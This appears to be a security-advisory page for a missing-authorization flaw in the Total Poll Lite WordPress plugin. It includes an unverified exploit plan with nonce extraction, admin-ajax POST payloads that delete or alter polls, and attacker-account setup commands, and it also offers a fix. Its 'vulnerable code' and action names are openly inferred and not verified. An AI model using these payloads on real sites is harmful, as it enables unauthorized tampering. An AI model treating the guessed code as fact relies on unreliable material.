CVE-2026-39651

Total Poll Lite <= 4.12.0 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Total Poll Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.12.0
PublishedFebruary 15, 2026
Last updatedApril 15, 2026
Affected plugintotalpoll-lite
Research Plan
Unverified

This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in **Total Poll Lite <= 4.12.0**. This vulnerability allows authenticated users with **Contributor-level access** or higher to perform unauthorized actions, likely related to poll management, due to a …

Show full research plan

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in Total Poll Lite <= 4.12.0. This vulnerability allows authenticated users with Contributor-level access or higher to perform unauthorized actions, likely related to poll management, due to a missing current_user_can() check in an administrative AJAX or POST handler.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization
  • Plugin: TotalPoll for Polls and Contests (totalpoll-lite)
  • Affected Versions: <= 4.12.0
  • Impact: A Contributor-level user can perform administrative actions such as deleting polls, resetting votes, or modifying settings.
  • Root Cause: The plugin registers AJAX or administrative hooks (e.g., via wp_ajax_) that verify nonces but fail to verify if the authenticated user possesses the required capability (e.g., manage_options or totalpoll_manage_polls).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): The plugin commonly uses a central AJAX dispatcher named totalpoll_command or specific actions like totalpoll_delete_poll, totalpoll_reset_votes, or totalpoll_update_settings.
  • Authentication: Contributor-level user (PR:L).
  • Vulnerable Parameter: command, poll_id, or settings.
  • Precondition: A poll must exist that the attacker wishes to manipulate.

3. Code Flow (Trace Path)

Based on the architecture of TotalPoll 4.x:

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=totalpoll_command (or similar).
  2. Hook Registration: The plugin registers the action in src/TotalPoll/Modules/Poll/Dashboard.php or src/TotalPoll/Admin/Ajax.php using:
    add_action( 'wp_ajax_totalpoll_command', [ $this, 'handleCommand' ] );
  3. Vulnerable Function: The handleCommand function (or the specific command handler it calls) is invoked.
  4. Authorization Failure: The function performs a nonce check:
    check_ajax_referer( 'totalpoll', 'nonce' );
    But it fails to check:
    if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
  5. Execution: The logic proceeds to call methods that delete rows from $wpdb->prefix . 'totalpoll_polls' or update poll metadata.

4. Nonce Acquisition Strategy

TotalPoll Lite localizes nonces for its administrative interface. Since a Contributor can access the WordPress dashboard, they can retrieve the nonce from any page where the TotalPoll scripts are loaded.

  1. Identify Script: The plugin usually localizes the totalpoll object.
  2. Trigger Localization: Create a post/page containing a TotalPoll shortcode to ensure the environment is initialized.
  3. Extraction:
    • Login as a Contributor.
    • Navigate to a page where TotalPoll is active.
    • Execute: browser_eval("window.totalpoll?.nonce || window.totalpollConfig?.nonce").
  4. Action Name: The nonce is typically associated with the action string 'totalpoll'.

5. Exploitation Strategy

The goal is to delete a poll or reset its votes using the Contributor's session.

  1. Step 1: Setup
    • Create a poll as Admin.
    • Create a Contributor user.
  2. Step 2: Information Gathering
    • List polls using WP-CLI to find a target ID: wp post list --post_type=poll.
  3. Step 3: Nonce Retrieval
    • Log in as the Contributor.
    • Visit /wp-admin/.
    • Use browser_eval to extract the totalpoll nonce.
  4. Step 4: Unauthorized Request
    • Send a POST request to admin-ajax.php to perform an action (e.g., delete).
    • Payload (Example - Adjust based on actual command structure):
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=totalpoll_command&command=delete&id=[POLL_ID]&nonce=[NONCE]
      
    • Alternative Payload (Settings manipulation):
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=totalpoll_update_settings&poll_id=[POLL_ID]&settings[title]=Hacked&nonce=[NONCE]
      

6. Test Data Setup

  1. Create Poll:
    wp post create --post_type=poll --post_title="Sensitive Poll" --post_status=publish
  2. Create Attacker:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Ensure Scripts Load:
    wp post create --post_type=page --post_content="[totalpoll id='ID_HERE']" --post_status=publish

7. Expected Results

  • Unauthorized Request Response: The server should return a 200 OK (or JSON success) rather than a 403 Forbidden or wp_die message.
  • Database Impact: The poll with the specified ID is deleted or modified in the database.

8. Verification Steps

  1. Check via WP-CLI:
    wp post list --post_type=poll
    (The "Sensitive Poll" should be missing or have modified attributes).
  2. Check Meta:
    wp post meta get [POLL_ID] _totalpoll_votes
    (Confirm if votes were reset to 0).

9. Alternative Approaches

If totalpoll_command is not the correct action:

  1. Grep for handlers:
    grep -r "wp_ajax_" wp-content/plugins/totalpoll-lite/
  2. Look for missing caps:
    Examine the callbacks for current_user_can. Any handler lacking this check while performing database writes is a target.
  3. REST API: Check if register_rest_route is used without a permission_callback (or with one that only checks is_user_logged_in).
    grep -r "register_rest_route" wp-content/plugins/totalpoll-lite/
Research Findings
Static analysis — not yet PoC-verified

Summary

Total Poll Lite versions up to 4.12.0 are vulnerable to unauthorized action execution due to missing capability checks in its administrative AJAX handlers. This allows authenticated users with Contributor-level permissions or higher to perform sensitive operations such as deleting polls or resetting votes, provided they can obtain a valid nonce from the dashboard.

Vulnerable Code

// In src/TotalPoll/Admin/Ajax.php (inferred based on plugin architecture)
public function handleCommand() {
    // Nonce is verified, but there is no capability check (e.g., current_user_can())
    check_ajax_referer( 'totalpoll', 'nonce' );

    $command = isset($_POST['command']) ? $_POST['command'] : '';
    $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0;

    // The logic proceeds to call administrative methods without verifying if the user is an admin
    $this->executeCommand($command, $poll_id);
    wp_send_json_success();
}

Security Fix

--- a/src/TotalPoll/Admin/Ajax.php
+++ b/src/TotalPoll/Admin/Ajax.php
@@ -10,6 +10,10 @@
     public function handleCommand() {
         check_ajax_referer( 'totalpoll', 'nonce' );
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'totalpoll' ) );
+        }
+
         $command = isset($_POST['command']) ? $_POST['command'] : '';
         $poll_id = isset($_POST['id']) ? intval($_POST['id']) : 0;

Exploit Outline

1. Authenticate to the WordPress site with a Contributor-level account or higher. 2. Navigate to any administrative page where the TotalPoll plugin loads its scripts (e.g., the dashboard or a page with a poll shortcode). 3. Extract the localized administrative nonce by inspecting the 'totalpoll' or 'totalpollConfig' JavaScript objects in the browser console. 4. Identify the ID of the target poll intended for deletion or modification. 5. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'totalpoll_command', 'command' set to 'delete' (or 'reset'), 'id' set to the target poll ID, and the 'nonce' parameter populated with the extracted value. 6. The plugin will execute the command despite the attacker lacking administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.